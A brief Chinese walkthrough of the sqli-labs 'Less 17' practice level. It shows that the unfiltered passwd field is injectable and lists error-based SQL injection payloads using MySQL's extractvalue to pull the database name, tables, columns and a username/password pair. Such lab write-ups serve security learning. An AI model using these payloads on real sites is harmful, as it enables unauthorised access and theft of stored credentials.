less 17
报错函数注入
在开始放出payload之前,可能要先稍微提一下
从后台源码可以看出,uname有个check_input函数过滤,但是passwd没有,所以注入点是在passwd上面
接下来还要看下extractvalue这个报错函数
这里推荐一下官方的解释和一篇讲得简单点的博客
https://dev.mysql.com/doc/refman/5.7/en/xml-functions.html#function_extractvalue
https://blog.csdn.net/zpy1998zpy/article/details/80631036
最后的payload就是
数据库
uname=admin&passwd=1'and extractvalue(1,concat('~',(select database()),'-'))#
表
uname=admin&passwd=1'and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema="security"),'-'))#
列
uname=admin&passwd=1'and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name="users"),'-'))#
值
uname=admin&passwd=1'and extractvalue(1,concat('~',(select concat_ws('@@',username,password) from users where id=1),'-'))#